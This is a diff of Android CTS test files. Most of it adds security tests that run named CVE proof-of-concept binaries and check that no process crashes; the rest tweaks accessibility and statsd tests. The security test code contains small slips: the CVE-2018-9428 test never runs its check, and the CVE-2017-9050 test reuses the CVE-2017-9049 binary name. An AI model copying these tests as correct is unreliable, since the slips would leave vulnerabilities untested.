+ String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+ String binaryName = "CVE-2020-0421";
+ AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+ testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+ testConfig.config.setSignals(signals);
+ AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+ }
+
+ /**
+ * b/132082342
+ * Vulnerability Behaviour: SIGSEGV in self
+ */
+ @SecurityTest(minPatchLevel = "2019-08")
+ @Test
+ public void testPocCVE_2019_2133() throws Exception {
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2019-2133", null, getDevice());
+ }
+
+ /**
+ * b/132083376
+ * Vulnerability Behaviour: SIGSEGV in self
+ */
+ @SecurityTest(minPatchLevel = "2019-08")
+ @Test
+ public void testPocCVE_2019_2134() throws Exception {
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2019-2134", null, getDevice());
+ }
+
+ /**
+ * b/31470908
+ * Vulnerability Behaviour: SIGSEGV in self
+ */
+ @SecurityTest(minPatchLevel = "2017-04")
+ @Test
+ public void testPocCVE_2016_10244() throws Exception {
+ String inputFiles[] = {"cve_2016_10244"};
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2016-10244",
+ AdbUtils.TMP_PATH + inputFiles[0], inputFiles, AdbUtils.TMP_PATH, getDevice());
+ }
+
+ /**
+ * b/27793367
+ * Vulnerability Behaviour: SIGSEGV in media.codec
+ */
+ @SecurityTest(minPatchLevel = "2016-06")
+ @Test
+ public void testPocCVE_2016_2485() throws Exception {
+ String inputFiles[] = {"cve_2016_2485.raw"};
+ String processPatternStrings[] = {"media\\.codec", "omx@\\d+?\\.\\d+?-service"};
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2016-2485",
+ AdbUtils.TMP_PATH + inputFiles[0], inputFiles, AdbUtils.TMP_PATH, getDevice(),
+ processPatternStrings);
+ }
+
+ /**
+ * b/141890807
+ * Vulnerability Behaviour: EXIT_VULNERABLE (113)
+ */
+ @SecurityTest(minPatchLevel = "2020-01")
+ @Test
+ public void testPocCVE_2020_0007() throws Exception {
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2020-0007", null, getDevice());
+ }
+
+ /**
+ * b/118372692
+ * Vulnerability Behaviour: SIGSEGV in self
+ */
+ @SecurityTest(minPatchLevel = "2019-02")
+ @Test
+ public void testPocCVE_2019_1988() throws Exception {
+ String inputFiles[] = {"cve_2019_1988.mp4"};
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2019-1988",
+ AdbUtils.TMP_PATH + inputFiles[0], inputFiles, AdbUtils.TMP_PATH, getDevice());
+ }
+
+ /**
+ * b/63522430
+ * Vulnerability Behaviour: SIGSEGV in media.codec
+ */
+ @SecurityTest(minPatchLevel = "2018-01")
+ @Test
+ public void testPocCVE_2017_0817() throws Exception {
+ String processPatternStrings[] = {"media\\.codec", "omx@\\d+?\\.\\d+?-service"};
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2017-0817", null, getDevice(),
+ processPatternStrings);
+ }
+
+ /**
+ * b/36104177
+ * Vulnerability Behaviour: EXIT_VULNERABLE (113)
+ */
+ @SecurityTest(minPatchLevel = "2017-09")
+ @Test
+ public void testPocCVE_2017_0670() throws Exception {
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2017-0670", null, getDevice());
+ }
+
+ /**
+ * b/68159767
+ * Vulnerability Behaviour: EXIT_VULNERABLE (113)
+ */
+ @SecurityTest(minPatchLevel = "2018-02")
+ @Test
+ public void testPocCVE_2017_13234() throws Exception {
+ String inputFiles[] = { "cve_2017_13234.xmf" };
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2017-13234",
+ AdbUtils.TMP_PATH + inputFiles[0], inputFiles, AdbUtils.TMP_PATH, getDevice());
+ }
+
+ /**
+ * b/74122779
+ * Vulnerability Behaviour: SIGABRT in audioserver
+ */
+ @SecurityTest(minPatchLevel = "2018-07")
+ @Test
+ public void testPocCVE_2018_9428() throws Exception {
+ String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+ AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig("CVE-2018-9428", getDevice());
+ }
+
+ /**
+ * b/64340921
+ * Vulnerability Behaviour: SIGABRT in audioserver
+ */
+ @SecurityTest(minPatchLevel = "2018-02")
+ @Test
+ public void testPocCVE_2017_0837() throws Exception {
+ String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+ AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig("CVE-2017-0837", getDevice());
+ testConfig.config = new CrashUtils.Config().setProcessPatterns("audioserver");
+ testConfig.config.setSignals(signals);
+ AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+ }
+
+ /**
+ * b/62151041 - Has 4 CVEs filed together
+ */
+ /** 1. CVE-2017-9047
+ * Vulnerability Behaviour: SIGABRT by -fstack-protector
+ */
+ @Test
+ @SecurityTest(minPatchLevel = "2018-09")
+ public void testPocCVE_2018_9466_CVE_2017_9047() throws Exception {
+ String binaryName = "CVE-2018-9466-CVE-2017-9047";
+ String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+ AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+ testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+ testConfig.config.setSignals(signals);
+ AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+ }
+
+ /** 2. CVE-2017-9048
+ * Vulnerability Behaviour: SIGABRT by -fstack-protector
+ */
+ @Test
+ @SecurityTest(minPatchLevel = "2018-09")
+ public void testPocCVE_2018_9466_CVE_2017_9048() throws Exception {
+ String binaryName = "CVE-2018-9466-CVE-2017-9048";
+ String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+ AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+ testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+ testConfig.config.setSignals(signals);
+ AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+ }
+
+ /** 3. CVE-2017-9049
+ * Vulnerability Behaviour: SIGSEGV in self
+ */
+ @Test
+ @SecurityTest(minPatchLevel = "2018-09")
+ public void testPocCVE_2018_9466_CVE_2017_9049() throws Exception {
+ String binaryName = "CVE-2018-9466-CVE-2017-9049";
+ String inputFiles[] = {"cve_2018_9466_cve_2017_9049.xml"};
+ String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+ AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+ testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+ testConfig.config.setSignals(signals);
+ testConfig.arguments = AdbUtils.TMP_PATH + inputFiles[0];
+ testConfig.inputFiles = Arrays.asList(inputFiles);
+ testConfig.inputFilesDestination = AdbUtils.TMP_PATH;
+ AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+ }
+
+ /** 4. CVE-2017-9050
+ * Vulnerability Behaviour: SIGSEGV in self
+ */
+ @Test
+ @SecurityTest(minPatchLevel = "2018-09")
+ public void testPocCVE_2018_9466_CVE_2017_9050() throws Exception {
+ String binaryName = "CVE-2018-9466-CVE-2017-9049";
+ String inputFiles[] = {"cve_2018_9466_cve_2017_9050.xml"};
+ String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+ AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+ testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+ testConfig.config.setSignals(signals);
+ testConfig.arguments = AdbUtils.TMP_PATH + inputFiles[0];
+ testConfig.inputFiles = Arrays.asList(inputFiles);
+ testConfig.inputFilesDestination = AdbUtils.TMP_PATH;
+ AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+ }
+
+ /**
+ * b/23247055
+ * Vulnerability Behaviour: SIGABRT in self
+ */
+ @SecurityTest(minPatchLevel = "2015-10")
+ @Test
+ public void testPocCVE_2015_3873() throws Exception {
+ String inputFiles[] = {"cve_2015_3873.mp4"};
+ String binaryName = "CVE-2015-3873";
+ String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+ AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+ testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+ testConfig.config.setSignals(signals);
+ testConfig.arguments = AdbUtils.TMP_PATH + inputFiles[0];
+ testConfig.inputFiles = Arrays.asList(inputFiles);
+ testConfig.inputFilesDestination = AdbUtils.TMP_PATH;
+ AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+ }
+
+ /**
* b/62948670
* Vulnerability Behaviour: SIGSEGV in media.codec
*/
@@ -121,6 +417,24 @@
}
/**
+ * b/65540999
+ * Vulnerability Behaviour: Assert failure
+ **/
+ @SecurityTest(minPatchLevel = "2017-11")
+ @Test
+ public void testPocCVE_2017_0847() throws Exception {
+ String cmdOut = AdbUtils.runCommandLine("ps -eo cmd,gid | grep mediametrics", getDevice());
+ if (cmdOut.length() > 0) {
+ String[] segment = cmdOut.split("\\s+");
+ if (segment.length > 1) {
+ if (segment[1].trim().equals("0")) {
+ Assert.fail("mediametrics has root group id");
+ }
+ }
+ }
+ }
+
+ /**
* b/112005441
* Vulnerability Behaviour: EXIT_VULNERABLE (113)
*/
@@ -145,6 +459,21 @@
* existing test methods
******************************************************************************/
+ /**
+ * b/112891564
+ * Vulnerability Behaviour: SIGSEGV in self (Android P),
+ * SIGABRT in self (Android Q onward)
+ */
+ @SecurityTest(minPatchLevel = "2018-11")
+ @Test
+ public void testPocCVE_2018_9537() throws Exception {
+ String binaryName = "CVE-2018-9537";
+ String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+ AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+ testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+ testConfig.config.setSignals(signals);
+ AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+ }
/******************************************************************************
* To prevent merge conflicts, add tests for Q below this comment, before any
@@ -152,6 +481,55 @@
******************************************************************************/
/**
+ * b/120426980
+ * Vulnerability Behaviour: SIGABRT in self
+ */
+ @SecurityTest(minPatchLevel = "2019-09")
+ @Test
+ public void testPocCVE_2019_9362() throws Exception {
+ String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+ String binaryName = "CVE-2019-9362";
+ AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+ testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+ testConfig.config.setSignals(signals);
+ AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+ }
+
+ /**
+ * b/112661742
+ * Vulnerability Behaviour: SIGABRT in self
+ */
+ @SecurityTest(minPatchLevel = "2019-09")
+ @Test
+ public void testPocCVE_2019_9308() throws Exception {
+ String inputFiles[] = {"cve_2019_9308.mp4"};
+ String binaryName = "CVE-2019-9308";
+ String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+ AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+ testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+ testConfig.config.setSignals(signals);
+ testConfig.arguments = AdbUtils.TMP_PATH + inputFiles[0];
+ testConfig.inputFiles = Arrays.asList(inputFiles);
+ testConfig.inputFilesDestination = AdbUtils.TMP_PATH;
+ AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+ }
+
+ /**
+ * b/112662995
+ * Vulnerability Behaviour: SIGABRT in self
+ */
+ @SecurityTest(minPatchLevel = "2019-09")
+ @Test
+ public void testPocCVE_2019_9357() throws Exception {
+ String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+ String binaryName = "CVE-2019-9357";
+ AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+ testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+ testConfig.config.setSignals(signals);
+ AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+ }
+
+ /**
* b/109891727
* Vulnerability Behaviour: SIGSEGV in media.codec
*/
diff --git a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/AtomTests.java b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/AtomTests.java
index 144e28e..e4d473b 100644
--- a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/AtomTests.java
+++ b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/AtomTests.java
@@ -264,14 +264,14 @@
writeSliceByBleScanStateChangedAtom(whatAtomId, uid, false, false, false);
writeSliceByBleScanStateChangedAtom(whatAtomId, uid, false, false, false);
bluetoothAdapter.disable();
- sleep(500);
+ sleep(1500);
// Trigger State.RESET so that new state is State.OFF.
if (!bluetoothAdapter.enable()) {
Log.e(TAG, "Could not enable bluetooth to trigger state reset");
return;
}
- sleep(2_000); // Wait for Bluetooth to fully turn on.
+ sleep(3_000); // Wait for Bluetooth to fully turn on.
writeSliceByBleScanStateChangedAtom(whatAtomId, uid, false, false, false);
writeSliceByBleScanStateChangedAtom(whatAtomId, uid, false, false, false);
writeSliceByBleScanStateChangedAtom(whatAtomId, uid, false, false, false);
diff --git a/hostsidetests/statsd/src/android/cts/statsd/atom/UidAtomTests.java b/hostsidetests/statsd/src/android/cts/statsd/atom/UidAtomTests.java
index 88d0f9a..185f44e 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/atom/UidAtomTests.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/atom/UidAtomTests.java
@@ -1328,7 +1328,7 @@
private static void assertIonHeapSize(List<Atom> atoms) {
assertThat(atoms).hasSize(1);
IonHeapSize ionHeapSize = atoms.get(0).getIonHeapSize();
- assertThat(ionHeapSize.getTotalSizeKb()).isGreaterThan(0);
+ assertThat(ionHeapSize.getTotalSizeKb()).isAtLeast(0);
}
/**
diff --git a/tests/accessibility/src/android/view/accessibility/cts/AccessibilityServiceInfoTest.java b/tests/accessibility/src/android/view/accessibility/cts/AccessibilityServiceInfoTest.java
index 2c8535d..2fb7916 100644
--- a/tests/accessibility/src/android/view/accessibility/cts/AccessibilityServiceInfoTest.java
+++ b/tests/accessibility/src/android/view/accessibility/cts/AccessibilityServiceInfoTest.java
@@ -50,6 +50,20 @@
*/
@RunWith(AndroidJUnit4.class)
public class AccessibilityServiceInfoTest {
+ private static final int FLAGS_MASK = AccessibilityServiceInfo.DEFAULT
+ | AccessibilityServiceInfo.FLAG_INCLUDE_NOT_IMPORTANT_VIEWS
+ | AccessibilityServiceInfo.FLAG_REQUEST_ENHANCED_WEB_ACCESSIBILITY
+ | AccessibilityServiceInfo.FLAG_RETRIEVE_INTERACTIVE_WINDOWS
+ | AccessibilityServiceInfo.FLAG_ENABLE_ACCESSIBILITY_VOLUME
+ | AccessibilityServiceInfo.FLAG_REQUEST_ACCESSIBILITY_BUTTON
+ | AccessibilityServiceInfo.FLAG_REQUEST_FINGERPRINT_GESTURES
+ | AccessibilityServiceInfo.FLAG_SERVICE_HANDLES_DOUBLE_TAP
+ | AccessibilityServiceInfo.FLAG_REQUEST_MULTI_FINGER_GESTURES
+ | AccessibilityServiceInfo.FLAG_REQUEST_TOUCH_EXPLORATION_MODE
+ | AccessibilityServiceInfo.FLAG_REQUEST_FILTER_KEY_EVENTS
+ | AccessibilityServiceInfo.FLAG_REPORT_VIEW_IDS
+ | AccessibilityServiceInfo.FLAG_REQUEST_SHORTCUT_WARNING_DIALOG_SPOKEN_FEEDBACK;
+
private AccessibilityManager mAccessibilityManager;
private PackageManager mPackageManager;
@@ -102,13 +116,16 @@
final AccessibilityServiceInfo speakingService = enabledServices.get(0);
assertSame(AccessibilityEvent.TYPES_ALL_MASK, speakingService.eventTypes);
assertSame(AccessibilityServiceInfo.FEEDBACK_SPOKEN, speakingService.feedbackType);
- assertEquals(AccessibilityServiceInfo.DEFAULT
+
+ int serviceFlags = AccessibilityServiceInfo.DEFAULT
| AccessibilityServiceInfo.FLAG_INCLUDE_NOT_IMPORTANT_VIEWS
| AccessibilityServiceInfo.FLAG_REQUEST_TOUCH_EXPLORATION_MODE
| AccessibilityServiceInfo.FLAG_REQUEST_FILTER_KEY_EVENTS
| AccessibilityServiceInfo.FLAG_REPORT_VIEW_IDS
- | AccessibilityServiceInfo.FLAG_REQUEST_SHORTCUT_WARNING_DIALOG_SPOKEN_FEEDBACK,
- speakingService.flags);
+ | AccessibilityServiceInfo.FLAG_REQUEST_SHORTCUT_WARNING_DIALOG_SPOKEN_FEEDBACK;
+
+ assertEquals(speakingService.flags & FLAGS_MASK, serviceFlags);
+
assertSame(/* expected= */ 0l, speakingService.notificationTimeout);
assertEquals(/* expected= */ "Some description", speakingService.getDescription());
assertNull(speakingService.packageNames /*all packages*/);
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDetectorTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDetectorTest.java
index b9e7c74..dc44a10 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDetectorTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDetectorTest.java
@@ -70,7 +70,10 @@
// Constants
private static final float GESTURE_LENGTH_INCHES = 1.0f;
- private static final long STROKE_MS = 400;
+ // The movement should exceed the threshold 1 cm in 150 ms defined in Swipe.java. It means the
+ // swipe velocity in testing should be greater than 2.54 cm / 381 ms. Therefore the
+ // duration should be smaller than 381.
+ private static final long STROKE_MS = 380;
private static final long GESTURE_DISPATCH_TIMEOUT_MS = 3000;
private static final long EVENT_DISPATCH_TIMEOUT_MS = 3000;
private static final PointF FINGER_OFFSET_PX = new PointF(100f, -50f);
@@ -132,8 +135,11 @@
mCenter = new Point((int) metrics.widthPixels / 2, (int) metrics.heightPixels / 2);
mTapLocation = new PointF(mCenter);
mStrokeLenPxX = (int) (GESTURE_LENGTH_INCHES * metrics.xdpi);
- mStrokeLenPxY = (int) (GESTURE_LENGTH_INCHES * metrics.ydpi);
- mScreenBigEnough = (metrics.widthPixels / (2 * metrics.xdpi) > GESTURE_LENGTH_INCHES);
+ // The threshold is determined by xdpi.
+ mStrokeLenPxY = mStrokeLenPxX;
+ final boolean screenWideEnough = metrics.widthPixels / 2 > mStrokeLenPxX;
+ final boolean screenHighEnough = metrics.heightPixels / 2 > mStrokeLenPxY;
+ mScreenBigEnough = screenWideEnough && screenHighEnough;
if (!mScreenBigEnough) {
return;
}
@@ -286,23 +292,6 @@
displayId);
testGesture(
- MultiFingerSwipe(displayId, 2, 0, dy),
- AccessibilityService.GESTURE_2_FINGER_SWIPE_DOWN,
- displayId);
- testGesture(
- MultiFingerSwipe(displayId, 2, -dx, 0),
- AccessibilityService.GESTURE_2_FINGER_SWIPE_LEFT,
- displayId);
- testGesture(
- MultiFingerSwipe(displayId, 2, dx, 0),
- AccessibilityService.GESTURE_2_FINGER_SWIPE_RIGHT,
- displayId);
- testGesture(
- MultiFingerSwipe(displayId, 2, 0, -dy),
- AccessibilityService.GESTURE_2_FINGER_SWIPE_UP,
- displayId);
-
- testGesture(
MultiFingerSwipe(displayId, 3, 0, dy),
AccessibilityService.GESTURE_3_FINGER_SWIPE_DOWN,
displayId);
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityTextTraversalTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityTextTraversalTest.java
index ead2e7a..c524c2a 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityTextTraversalTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityTextTraversalTest.java
@@ -1046,15 +1046,6 @@
assertEquals(3, Selection.getSelectionStart(editText.getText()));
assertEquals(3, Selection.getSelectionEnd(editText.getText()));
- // Unfocus the view so we can get rid of the soft-keyboard.
- sInstrumentation.runOnMainSync(new Runnable() {
- @Override
- public void run() {
- editText.clearFocus();
- editText.setFocusable(false);
- }
- });
-
// Move to the previous character and wait for an event.
AccessibilityEvent seventhExpected = sUiAutomation
.executeAndWaitForEvent(new Runnable() {
@@ -2048,15 +2039,6 @@
assertEquals(11, Selection.getSelectionStart(editText.getText()));
assertEquals(11, Selection.getSelectionEnd(editText.getText()));
- // Unfocus the view so we can get rid of the soft-keyboard.
- sInstrumentation.runOnMainSync(new Runnable() {
- @Override
- public void run() {
- editText.clearFocus();
- editText.setFocusable(false);
- }
- });
-
// Move to the previous word and wait for an event.
AccessibilityEvent seventhExpected = sUiAutomation
.executeAndWaitForEvent(new Runnable() {
@@ -2801,15 +2783,6 @@
assertEquals(34, Selection.getSelectionStart(editText.getText()));
assertEquals(34, Selection.getSelectionEnd(editText.getText()));
- // Unocus the view so we can hide the keyboard.
- sInstrumentation.runOnMainSync(new Runnable() {
- @Override
- public void run() {
- editText.clearFocus();
- editText.setFocusable(false);
- }
- });
-
// Move to the previous line and wait for an event.
AccessibilityEvent seventhExpected = sUiAutomation
.executeAndWaitForEvent(new Runnable() {
@@ -3560,15 +3533,6 @@
assertEquals(47, Selection.getSelectionStart(editText.getText()));
assertEquals(47, Selection.getSelectionEnd(editText.getText()));
- // Unfocus the view so we can get rid of the soft-keyboard.
- sInstrumentation.runOnMainSync(new Runnable() {
- @Override
- public void run() {
- editText.clearFocus();
- editText.setFocusable(false);
- }
- });
-
// Move to the previous paragraph and wait for an event.
AccessibilityEvent seventhExpected = sUiAutomation
.executeAndWaitForEvent(new Runnable() {
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/MagnificationGestureHandlerTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/MagnificationGestureHandlerTest.java
index c64eaa3..32d8a82 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/MagnificationGestureHandlerTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/MagnificationGestureHandlerTest.java
@@ -27,6 +27,7 @@
import static android.accessibilityservice.cts.utils.GestureUtils.endTimeOf;
import static android.accessibilityservice.cts.utils.GestureUtils.lastPointOf;
import static android.accessibilityservice.cts.utils.GestureUtils.longClick;
+import static android.accessibilityservice.cts.utils.GestureUtils.path;
import static android.accessibilityservice.cts.utils.GestureUtils.pointerDown;
import static android.accessibilityservice.cts.utils.GestureUtils.pointerUp;
import static android.accessibilityservice.cts.utils.GestureUtils.startingAt;
@@ -181,17 +182,35 @@
public void testPanning() {
//The minimum movement to transit to panningState.
final float minSwipeDistance = ViewConfiguration.get(
- mInstrumentation.getContext()).getScaledTouchSlop();
+ mInstrumentation.getContext()).getScaledTouchSlop() + 1;
final boolean screenBigEnough = mPan > minSwipeDistance;
if (!mHasTouchscreen || !screenBigEnough) return;
assertFalse(isZoomed());
setZoomByTripleTapping(true);
- PointF oldCenter = mCurrentZoomCenter;
+ final PointF oldCenter = mCurrentZoomCenter;
- dispatch(
- swipe(mTapLocation, add(mTapLocation, -mPan, 0)),
- swipe(mTapLocation2, add(mTapLocation2, -mPan, 0)));
+ // Dispatch a swipe gesture composed of two consecutive gestures; the first one to transit
+ // to panningState, and the second one to moves the window.
+ final GestureDescription.Builder builder1 = new GestureDescription.Builder();
+ final GestureDescription.Builder builder2 = new GestureDescription.Builder();
+
+ final long totalDuration = ViewConfiguration.getTapTimeout();
+ final long firstDuration = (long)(totalDuration * (minSwipeDistance / mPan));
+
+ for (final PointF startPoint : new PointF[]{mTapLocation, mTapLocation2}) {
+ final PointF midPoint = add(startPoint, -minSwipeDistance, 0);
+ final PointF endPoint = add(startPoint, -mPan, 0);
+ final StrokeDescription firstStroke = new StrokeDescription(path(startPoint, midPoint),
+ 0, firstDuration, true);
+ final StrokeDescription secondStroke = firstStroke.continueStroke(
+ path(midPoint, endPoint), 0, totalDuration - firstDuration, false);
+ builder1.addStroke(firstStroke);
+ builder2.addStroke(secondStroke);
+ }
+
+ dispatch(builder1.build());
+ dispatch(builder2.build());
waitOn(mZoomLock,
() -> (mCurrentZoomCenter.x - oldCenter.x
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/TouchExplorerTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/TouchExplorerTest.java
index 80a3054..b0f3570 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/TouchExplorerTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/TouchExplorerTest.java
@@ -61,6 +61,7 @@
import android.graphics.Region;
import android.platform.test.annotations.AppModeFull;
import android.util.DisplayMetrics;
+import android.util.TypedValue;
import android.view.Display;
import android.view.View;
import android.view.ViewConfiguration;
@@ -86,7 +87,7 @@
@AppModeFull
public class TouchExplorerTest {
// Constants
- private static final float GESTURE_LENGTH_INCHES = 1.0f;
+ private static final float GESTURE_LENGTH_MMS = 10.0f;
private TouchExplorationStubAccessibilityService mService;
private Instrumentation mInstrumentation;
private UiAutomation mUiAutomation;
@@ -114,8 +115,7 @@
public final RuleChain mRuleChain =
RuleChain.outerRule(mActivityRule).around(mServiceRule).around(mDumpOnFailureRule);
- Point mCenter; // Center of screen. Gestures all start from this point.
- PointF mTapLocation;
+ PointF mTapLocation; // Center of activity. Gestures all start from around this point.
float mSwipeDistance;
View mView;
@@ -129,17 +129,19 @@
mHasTouchscreen =
pm.hasSystemFeature(PackageManager.FEATURE_TOUCHSCREEN)
|| pm.hasSystemFeature(PackageManager.FEATURE_FAKETOUCH);
- // Find screen size, check that it is big enough for gestures.
- // Gestures will start in the center of the screen, so we need enough horiz/vert space.
+ // Find window size, check that it is big enough for gestures.
+ // Gestures will start in the center of the window, so we need enough horiz/vert space.
+ mService = mServiceRule.enableService();
+ mView = mActivityRule.getActivity().findViewById(R.id.full_screen_text_view);
WindowManager windowManager =
(WindowManager)
mInstrumentation.getContext().getSystemService(Context.WINDOW_SERVICE);
final DisplayMetrics metrics = new DisplayMetrics();
windowManager.getDefaultDisplay().getRealMetrics(metrics);
- mScreenBigEnough = (metrics.widthPixels / (2 * metrics.xdpi) > GESTURE_LENGTH_INCHES);
+ mScreenBigEnough = mView.getWidth() / 2 > TypedValue.applyDimension(
+ TypedValue.COMPLEX_UNIT_MM, GESTURE_LENGTH_MMS, metrics);
if (!mHasTouchscreen || !mScreenBigEnough) return;
- mService = mServiceRule.enableService();
- mView = mActivityRule.getActivity().findViewById(R.id.full_screen_text_view);
+
mView.setOnHoverListener(mHoverListener);
mView.setOnTouchListener(mTouchListener);
mInstrumentation.runOnMainSync(
@@ -149,9 +151,8 @@
final int midX = mView.getWidth() / 2;
final int midY = mView.getHeight() / 2;
mView.getLocationOnScreen(viewLocation);
- mCenter = new Point(viewLocation[0] + midX, viewLocation[1] + midY);
- mTapLocation = new PointF(mCenter);
- mSwipeDistance = (viewLocation[0] + mView.getWidth()) / 4;
+ mTapLocation = new PointF(viewLocation[0] + midX, viewLocation[1] + midY);
+ mSwipeDistance = mView.getWidth() / 4;
mSwipeTimeMillis = (long) mSwipeDistance * 4;
mView.setOnClickListener(mClickListener);
mView.setOnLongClickListener(mLongClickListener);
@@ -482,7 +483,7 @@
@AppModeFull
public void testGestureDetectionPassthrough_initiatesTouchExploration() {
if (!mHasTouchscreen || !mScreenBigEnough) return;
- setRightSideOfScreenGestureDetectionPassthrough();
+ setRightSideOfActivityWindowGestureDetectionPassthrough();
// Swipe in the passthrough region. This should generate hover events.
dispatch(swipe(mTapLocation, add(mTapLocation, mSwipeDistance, 0)));
mHoverListener.assertPropagated(ACTION_HOVER_ENTER, ACTION_HOVER_MOVE, ACTION_HOVER_EXIT);
@@ -524,7 +525,7 @@
@AppModeFull
public void testTouchExplorationPassthrough_sendsTouchEvents() {
if (!mHasTouchscreen || !mScreenBigEnough) return;
- setRightSideOfScreenTouchExplorationPassthrough();
+ setRightSideOfActivityWindowTouchExplorationPassthrough();
// Swipe in the passthrough region. This should generate touch events.
dispatch(swipe(mTapLocation, add(mTapLocation, mSwipeDistance, 0)));
mTouchListener.assertPropagated(ACTION_DOWN, ACTION_MOVE, ACTION_UP);
@@ -576,16 +577,16 @@
});
}
- private void setRightSideOfScreenGestureDetectionPassthrough() {
- Region region = getRightSideOfScreenRegion();
+ private void setRightSideOfActivityWindowGestureDetectionPassthrough() {
+ Region region = getRightSideOfActivityWindowRegion();
mService.runOnServiceSync(
() -> {
mService.setGestureDetectionPassthroughRegion(Display.DEFAULT_DISPLAY, region);
});
}
- private void setRightSideOfScreenTouchExplorationPassthrough() {
- Region region = getRightSideOfScreenRegion();
+ private void setRightSideOfActivityWindowTouchExplorationPassthrough() {
+ Region region = getRightSideOfActivityWindowRegion();
mService.runOnServiceSync(
() -> {
mService.setTouchExplorationPassthroughRegion(Display.DEFAULT_DISPLAY, region);
@@ -602,16 +603,14 @@
});
}
- private Region getRightSideOfScreenRegion() {
- WindowManager windowManager =
- (WindowManager)
- mInstrumentation.getContext().getSystemService(Context.WINDOW_SERVICE);
- final DisplayMetrics metrics = new DisplayMetrics();
- windowManager.getDefaultDisplay().getRealMetrics(metrics);
- int top = 0;
- int left = metrics.widthPixels / 2;
- int right = metrics.widthPixels;
